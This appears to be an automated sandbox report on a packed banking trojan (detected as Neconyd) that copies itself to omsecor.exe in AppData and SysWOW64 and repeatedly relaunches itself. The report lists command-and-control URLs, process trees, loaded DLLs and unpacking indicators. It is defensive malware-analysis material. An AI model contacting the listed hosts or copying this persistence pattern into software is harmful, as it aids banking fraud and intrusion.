Source: omsecor.exe, 00000012.00000002.2334469520.0000000000668000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000012.00000002.2334469520.00000000006A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/441/819.html
Source: omsecor.exe, 00000007.00000002.1840387008.0000000000622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/8
Source: omsecor.exe, 00000007.00000002.1840387008.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000007.00000002.1840387008.0000000000603000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000007.00000002.1840387008.0000000000619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/931/166.html
Source: omsecor.exe	String found in binary or memory: http://ow5dirasuek.com/
Source: omsecor.exe, 00000012.00000002.2334288604.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000012.00000002.2334469520.0000000000668000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000012.00000002.2334469520.00000000006A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/358/336.html
Source: omsecor.exe, 00000007.00000002.1840387008.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000007.00000002.1840387008.0000000000603000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000007.00000002.1840198847.0000000000194000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/612/675.html
Source: omsecor.exe, 00000007.00000002.1840387008.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/612/675.html%
Source: omsecor.exe, 00000007.00000002.1840387008.0000000000619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/612/675.html-8a8d424fbe43573ef1LMEM
Source: omsecor.exe, 00000007.00000002.1840387008.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/612/675.htmlc
Source: fmlgbgc2p5.exe, 00000000.00000002.1641221794.000000000048D000.00000004.00000020.00020000.00000000.sdmp, fmlgbgc2p5.exe, 00000000.00000002.1641457885.00000000020BB000.00000004.00000020.00020000.00000000.sdmp, fmlgbgc2p5.exe, 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, omsecor.exe, 00000004.00000002.1663858089.00000000020F9000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000004.00000002.1663673334.000000000054D000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, omsecor.exe, 0000000D.00000002.1905585206.00000000020A6000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000D.00000002.1905345423.000000000074D000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000E.00000002.1849032771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, omsecor.exe, 00000010.00000002.1905863705.0000000002026000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000010.00000002.1905714448.0000000000701000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, omsecor.exe, 00000017.00000002.2376204202.0000000000531000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000017.00000002.2376628433.000000000206F000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, omsecor.exe, 0000001A.00000002.2374629905.00000000020B4000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000001A.00000002.2374377981.0000000000651000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon
Source: omsecor.exe, 00000012.00000002.2334469520.00000000006A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/~
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net

E-Banking Fraud

Yara detected Neconyd

Source: Yara match	File source: Process Memory Space: fmlgbgc2p5.exe PID: 7280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fmlgbgc2p5.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 7360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 8072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 8100, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 8132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 7440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 7596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 7612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 7296, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\omsecor.exe

File created: C:\Windows\SysWOW64\omsecor.exe

Jump to behavior

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 0_2_00403000	0_2_00403000
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 0_2_0042117B	0_2_0042117B
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 0_2_00405582	0_2_00405582
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_00401C41	2_2_00401C41
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_0040D2A4	2_2_0040D2A4
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_0040B51C	2_2_0040B51C
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_0040CBD0	2_2_0040CBD0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 4_2_00403000	4_2_00403000
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 4_2_0042117B	4_2_0042117B
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 4_2_00405582	4_2_00405582
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_00401C41	7_2_00401C41
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_0040D2A4	7_2_0040D2A4
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_0040B51C	7_2_0040B51C
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_0040CBD0	7_2_0040CBD0
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 13_2_00403000	13_2_00403000
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 13_2_0042117B	13_2_0042117B
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 13_2_00405582	13_2_00405582
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_00401C41	14_2_00401C41
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_0040D2A4	14_2_0040D2A4
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_0040B51C	14_2_0040B51C
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_0040CBD0	14_2_0040CBD0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 16_2_00403000	16_2_00403000
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 16_2_0042117B	16_2_0042117B
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 16_2_00405582	16_2_00405582
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_00401C41	18_2_00401C41
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_0040D2A4	18_2_0040D2A4
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_0040B51C	18_2_0040B51C
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_0040CBD0	18_2_0040CBD0
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 23_2_00403000	23_2_00403000
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 23_2_0042117B	23_2_0042117B
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 23_2_00405582	23_2_00405582
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_00401C41	24_2_00401C41
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_0040D2A4	24_2_0040D2A4
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_0040B51C	24_2_0040B51C
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_0040CBD0	24_2_0040CBD0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 26_2_00403000	26_2_00403000
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 26_2_0042117B	26_2_0042117B
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 26_2_00405582	26_2_00405582
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_00401C41	28_2_00401C41
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_0040D2A4	28_2_0040D2A4
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_0040B51C	28_2_0040B51C
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_0040CBD0	28_2_0040CBD0

Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: String function: 00403416 appears 45 times
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: String function: 004054ED appears 54 times
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: String function: 00405493 appears 96 times
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: String function: 00402F98 appears 60 times
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: String function: 0040D5B0 appears 84 times
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: String function: 00405511 appears 168 times
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: String function: 004054ED appears 36 times
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: String function: 00405493 appears 64 times
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: String function: 00402F98 appears 40 times
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: String function: 0040D5B0 appears 56 times
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: String function: 00405511 appears 112 times
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: String function: 00405493 appears 32 times
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: String function: 00405511 appears 56 times

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7280 -s 304

Source: fmlgbgc2p5.exe, 00000000.00000002.1641221794.000000000048D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBuild private6 vs fmlgbgc2p5.exe
Source: fmlgbgc2p5.exe, 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBuild private6 vs fmlgbgc2p5.exe
Source: fmlgbgc2p5.exe, 00000002.00000000.1334585253.0000000000422000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBuild private6 vs fmlgbgc2p5.exe
Source: fmlgbgc2p5.exe, 00000002.00000002.1335946619.0000000000568000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBuild private6 vs fmlgbgc2p5.exe
Source: fmlgbgc2p5.exe	Binary or memory string: OriginalFilenameBuild private6 vs fmlgbgc2p5.exe

Source: fmlgbgc2p5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: fmlgbgc2p5.exe	Static PE information: Section: .MPRESS1 ZLIB complexity 1.000390625
Source: omsecor.exe.2.dr	Static PE information: Section: .MPRESS1 ZLIB complexity 1.000390625
Source: omsecor.exe.7.dr	Static PE information: Section: .MPRESS1 ZLIB complexity 1.000390625

Source: classification engine

Classification label: mal100.bank.troj.evad.winEXE@29/27@3/3

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Code function: 2_2_0040A057 GetForegroundWindow,CoCreateInstance,SetForegroundWindow,

2_2_0040A057

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

File created: C:\Users\user\AppData\Roaming\omsecor.exe

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8132
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7360
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7440
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7280
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8072
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7612

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\4030a128-f984-41bb-8247-52fc47dfeff4

Jump to behavior

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: fmlgbgc2p5.exe

ReversingLabs: Detection: 89%

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

File read: C:\Users\user\Desktop\fmlgbgc2p5.exe

Jump to behavior

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess	graph_2-5780
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess	graph_7-5780
Source: C:\Windows\SysWOW64\omsecor.exe	Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess	graph_14-5780

Source: unknown	Process created: C:\Users\user\Desktop\fmlgbgc2p5.exe "C:\Users\user\Desktop\fmlgbgc2p5.exe"
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Process created: C:\Users\user\Desktop\fmlgbgc2p5.exe C:\Users\user\Desktop\fmlgbgc2p5.exe
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7280 -s 304
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 276
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\System32\omsecor.exe
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\SysWOW64\omsecor.exe
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8072 -s 280
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8132 -s 276
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\System32\omsecor.exe
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\SysWOW64\omsecor.exe
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 248
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7612 -s 260
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Process created: C:\Users\user\Desktop\fmlgbgc2p5.exe C:\Users\user\Desktop\fmlgbgc2p5.exe	Jump to behavior
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\System32\omsecor.exe	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\SysWOW64\omsecor.exe	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\System32\omsecor.exe	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\SysWOW64\omsecor.exe	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\AppData\Roaming\omsecor.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Unpacked PE file: 0.2.fmlgbgc2p5.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Unpacked PE file: 2.2.fmlgbgc2p5.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .text:ER;.rdata:R;.data:W;
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 4.2.omsecor.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 7.2.omsecor.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .text:ER;.rdata:R;.data:W;
Source: C:\Windows\SysWOW64\omsecor.exe	Unpacked PE file: 13.2.omsecor.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Windows\SysWOW64\omsecor.exe	Unpacked PE file: 14.2.omsecor.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .text:ER;.rdata:R;.data:W;
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 16.2.omsecor.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 18.2.omsecor.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .text:ER;.rdata:R;.data:W;
Source: C:\Windows\SysWOW64\omsecor.exe	Unpacked PE file: 23.2.omsecor.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Windows\SysWOW64\omsecor.exe	Unpacked PE file: 24.2.omsecor.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .text:ER;.rdata:R;.data:W;
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 26.2.omsecor.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 28.2.omsecor.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .text:ER;.rdata:R;.data:W;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Unpacked PE file: 2.2.fmlgbgc2p5.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 7.2.omsecor.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\omsecor.exe	Unpacked PE file: 14.2.omsecor.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 18.2.omsecor.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\omsecor.exe	Unpacked PE file: 24.2.omsecor.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 28.2.omsecor.exe.400000.0.unpack

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Code function: 0_2_00404854 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,__invoke_watson,GetProcAddress,GetProcAddress,__invoke_watson,

0_2_00404854

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: omsecor.exe.7.dr	Static PE information: real checksum: 0x20bce should be: 0x21399
Source: omsecor.exe.2.dr	Static PE information: real checksum: 0x20bce should be: 0x211cb
Source: fmlgbgc2p5.exe	Static PE information: real checksum: 0x20bce should be: 0x21860

